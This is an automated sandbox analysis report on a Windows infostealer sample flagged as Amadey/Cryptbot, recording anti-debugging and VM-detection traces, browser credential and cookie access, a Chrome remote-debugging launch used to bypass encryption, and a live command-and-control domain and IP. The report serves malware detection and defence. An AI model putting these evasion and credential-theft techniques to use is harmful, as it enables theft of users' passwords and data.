Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79802F8 second address: 798030A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3650BE6D7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 798030A second address: 7980322 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99D9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7980322 second address: 7980326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7980326 second address: 798032A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 798032A second address: 7980330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7980330 second address: 7980336 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7980336 second address: 798033A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 798033A second address: 798034F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esp, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f mov ebx, 323A99FEh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A08CD second address: 79A08D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A08D3 second address: 79A08D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A08D8 second address: 79A0904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ax, di 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F3650BE6D84h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A0904 second address: 79A090A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A090A second address: 79A0923 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3650BE6D7Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A0923 second address: 79A0929 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A0929 second address: 79A094C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 mov si, bx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3650BE6D84h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B0AFA second address: 79B0B3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a call 00007F3650C99DA9h 0x0000000f mov ecx, 06558A67h 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F3650C99DA6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B0B3E second address: 79B0B73 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F3650BE6D82h 0x00000008 jmp 00007F3650BE6D85h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B0B73 second address: 79B0B77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B0B77 second address: 79B0B7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B0B7D second address: 79B0B83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B0B83 second address: 79B0B87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 161CD98 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 161A156 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 184846A instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1314	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1663	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1242	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Window / User API: threadDelayed 1863	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Window / User API: threadDelayed 8136	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe

API coverage: 1.2 %

Source: C:\Users\user\Desktop\file.exe TID: 3068	Thread sleep time: -74037s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 764	Thread sleep time: -90045s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3328	Thread sleep time: -2629314s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5956	Thread sleep time: -3327663s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4960	Thread sleep time: -2485242s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7668	Thread sleep count: 1863 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7668	Thread sleep time: -186300s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7668	Thread sleep count: 8136 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7668	Thread sleep time: -813600s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed\	Jump to behavior

Source: Amcache.hve.13.dr	Binary or memory string: VMware
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.13.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.13.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.13.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000003.1712686282.0000000007221000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlO#'
Source: Amcache.hve.13.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Amcache.hve.13.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.13.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.13.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: chrome.exe, 00000004.00000002.2118396257.0000018374427000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll6
Source: Amcache.hve.13.dr	Binary or memory string: vmci.sys
Source: file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: Amcache.hve.13.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.13.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.13.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.13.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.13.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.13.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.13.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.13.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.13.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.13.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 8_2_00058230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError,

8_2_00058230

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_0005116C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit,	8_2_0005116C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_00051160 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	8_2_00051160
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_000511A3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	8_2_000511A3
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 8_2_000513C9 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,	8_2_000513C9

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 8_2_6C1F84D0 cpuid

8_2_6C1F84D0

Source: C:\Users\user\Desktop\file.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: Amcache.hve.13.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: msmpeng.exe
Source: file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: Amcache.hve.13.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 8.2.service123.exe.6c170000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: service123.exe PID: 7664, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 141.8.197.146:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Process Injection	1 Masquerading	1 OS Credential Dumping	741 Security Software Discovery	Remote Services	11 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 DLL Side-Loading	1 Scheduled Task/Job	24 Virtualization/Sandbox Evasion	LSASS Memory	24 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Data from Local System	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Process Injection	Security Account Manager	11 Process Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	5 Obfuscated Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	234 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	37%	ReversingLabs	Win32.Trojan.Amadey
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://anglebug.com/35862	0%	Avira URL Cloud	safe
http://anglebug.com/35862	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fvtekx5pt.top	141.8.197.146	true	false	high
www.google.com	142.250.181.100	true	false	high
httpbin.org	18.208.8.205	true	false	high
home.fvtekx5pt.top	141.8.197.146	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://home.fvtekx5pt.top/RrlNvinfLqYZQoxgChZr1732768478	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	chrome.exe, 00000004.00000002.2125726223.00007BE000C48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gcc.gnu.org/bugs/):	rnCMinwLHbrEjcomyVjl.dll.0.dr	false		high
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000004.00000002.2121234111.00007BE0000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	chrome.exe, 00000004.00000003.2109499785.00007BE000C14000.00000004.00000800.00020000.00000000.sdmp	false		high
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000004.00000002.2121045675.00007BE00008C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000004.00000002.2123354438.00007BE000748000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/J	chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000004.00000002.2122417775.00007BE00049C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123354438.00007BE000748000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2124576124.00007BE00093C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4633	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://home.fvtekx5pt.top/RrlNvinfLqYZQoxgChZr17	file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/284462263	chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000004.00000002.2123824964.00007BE00080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122447040.00007BE0004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123696307.00007BE0007CC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://crbug.com/368855.)	chrome.exe, 00000004.00000002.2121750203.00007BE0002A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	chrome.exe, 00000004.00000003.2091694741.00007BE000490000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/:	chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000004.00000002.2124737119.00007BE0009A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7714	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/speech-api/v2/synthesize?	chrome.exe, 00000004.00000002.2121750203.00007BE0002A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://unisolated.invalid/	chrome.exe, 00000004.00000002.2124764190.00007BE0009CC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/tips/	chrome.exe, 00000004.00000002.2124612675.00007BE00095C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2121586736.00007BE0001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2124025388.00007BE00086C000.00000004.00000800.00020000.00000000.sdmp	false		high
